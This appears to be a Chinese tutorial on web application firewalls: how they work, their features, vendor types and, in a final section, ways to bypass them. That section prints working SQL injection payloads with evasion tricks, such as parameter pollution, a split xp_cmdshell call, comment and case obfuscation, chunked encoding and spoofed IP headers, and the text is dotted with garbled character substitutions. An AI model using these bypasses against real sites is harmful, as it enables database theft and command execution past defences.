一. waf工作原理
Web利用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web利用提供爱护的一款产品。
常见的零碎攻打分为两类:
- 一是利用Web服务器的破绽进行攻打,如DDOS攻打、病毒木马毁坏等攻打;
- 二是利用网页本身的安全漏洞进行攻打,如SQL注入攻打、跨站脚本攻打等。常见攻击方式对网站服务器带来的危害次要集中在病毒木马毁坏、网页非法篡改、各类网络攻击带来的威逼。
1. waf简介
WAF是Web利用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类申请进行内容检测和验证,确保其安全性与合法性,对非法的申请予以实时阻断,为Web利用提供防护,也称作利用防火墙,是网络安全纵深进攻体系里重要的一环。WAF属于检测型及纠正型进攻控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和云WAF。
WAF对申请的内容进行规定匹配、行为剖析等辨认出歹意行为,并执行相干动作,这些动作包含阻断、记录、告警等。
1. WAF次要性能
- 网马木马主动防御及查杀
网页木马和网页挂马扫描工具采纳特色码+启发式引擎的查杀算法,WEB木马检出率大于90%
- 流量监控
可能实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用状况
- 网站破绽进攻性能
可拦挡GET、POST、COOKIES等形式的SQL注入,可对GET、POST、COOKIES别离定义特色码,以及可拦挡XSS注入等行为。
- 危险组件防护性能
全面拦挡恶意代码对组件的调用权限,拦挡IIS执行恶意程序,爱护网站平安
- .Net平安爱护模块
快捷设置.Net平安模式,禁止.Net执行零碎敏感函数,保障网站平安
- 双层防盗链链接模式
能够针对不同站点设置防盗链的过滤, 避免图片、桌面、软件、音乐、电影被人援用。如果发现请求者是盗用网站链接, 则主动重定向到错误处理页面
- 网站特定资源防下载
反对对doc、mdb、mdf、myd等特定资源的防下载爱护,退出要爱护的敏感材料的门路,即可避免敏感材料被下载
- CC攻打防护
自主研发的独特抗攻打算法,高效的主动防御零碎可无效进攻CC攻打、流量攻打。
- 网站流量爱护
反对下载流量管制、下载线程管制。采纳独创的线程管制和流量控制技术, 大大提高服务器性能, 爱护网站流量。
10.IP黑白名单
全IP黑白名单性能容许用户设置个性化的IP信赖列表,间接屏蔽或者容许指定IP拜访网站。同时,减少iP长期黑名单性能,以及实现了针对某个性能的iP白名单性能。同时,爬虫白名单提供爬虫信赖机制,在呈现误拦挡状况下,容许用户自定义爬虫信赖。
二、市场Waf分类
1. 硬件Waf:
绿盟、启明、安恒、晓得创宇、天融信等
硬件Waf通常的装置形式是将Waf串行部署在Web服务器前端,用于检测、阻断异样流量。
惯例硬件Waf的实现形式是通过代理技术代理来自内部的流量,并对申请包进行解析,通过平安规定库的攻打规定进行匹配,如胜利匹配规定库中的规定,则辨认为异样并进行申请阻断。
2. 软件Waf:
平安狗、云锁、中间件自带的Waf模块、D盾等
软件Waf则是装置在须要防护的服务器上,实现形式通常是Waf监听端口或以Web容器扩大形式进行申请检测和阻断。
3. 云WAF:
阿里云、平安狗、安恒、晓得创宇、腾讯网站管家等
云WAF,也称WEB利用防火墙的云模式,这种模式让用户不须要在本人的网络中装置软件程序或部署硬件设施,就能够对网站施行平安防护,它的次要实现形式是利用DNS技术,通过移交域名解析权来实现平安防护。用户的申请首先发送到云端节点进行检测,如存在异样申请则进行拦挡否则将申请转发至实在服务器。
三、Waf绕过办法
1、burp装置waf模块
- 步骤:插件扩大--BApp Store--Bypass WAF
- 我的项目选项--会议--会话解决规定--增加
2、通过工具伪造百度、google等user agent头或者伪造白名单非凡目录
- 把User-Agent批改百度等各大搜索引擎的便能够绕过,把此处替换为百度等搜索引擎的User-Agent
3、编码绕过,把SQL语句编码便能够绕过waf
4、批改申请形式绕过
- 利用waf的默认规定绕过,如默认只针对GET拦挡,不对post拦挡,那咱们就能够用POST形式传输绕过waf
5、复合参数绕过
- 例如一个申请是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
- 能够批改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都能够这样绕,测试最新版WAF能绕过局部语句
6、WAF触发规定的绕过
特殊字符替换空格:%0a/**/
/*|%23--%23|*/
特殊字符拼接:+
- 如:
GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
- 能够改为:
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
正文蕴含关键字
如: GET /pen/news.php?id=1 union select user,password from mysql.user
能够改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
空格替换法
- 把空格替换成
%0a/**/
能够绕过
应用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
UNIunionON SELselectECT 1,2,3,4….
通过waf过滤后就变成union select 1,2,3,4....
异或绕过
lucy' Xor '1'='1' #
利用WAF自身的性能绕过,把""替换为空 union+sel*ect+1,2,3,4....
组合法:编码与正文
1、 替换法+URL编码 2、正文+替换法 3、内联正文+替换法
把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-1
7、分块传输绕过
Content-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedContent-Length: 874id=16 union7 select2 18,user(),53,4,50
Transfer-Encoding: chunked
id=1 union select 1,user(),3,4,5
8、 云waf绕过
寻找实在ip绕过云waf
9、 云waf伪造申请包头信息
X-Originating-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Remote-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1X-Client-IP: 127.0.0.1
绕过waf的办法有很多,也有许多形式被时代淘汰,你须要不停的思考绕过它的各种可能性,一直的去欠缺它。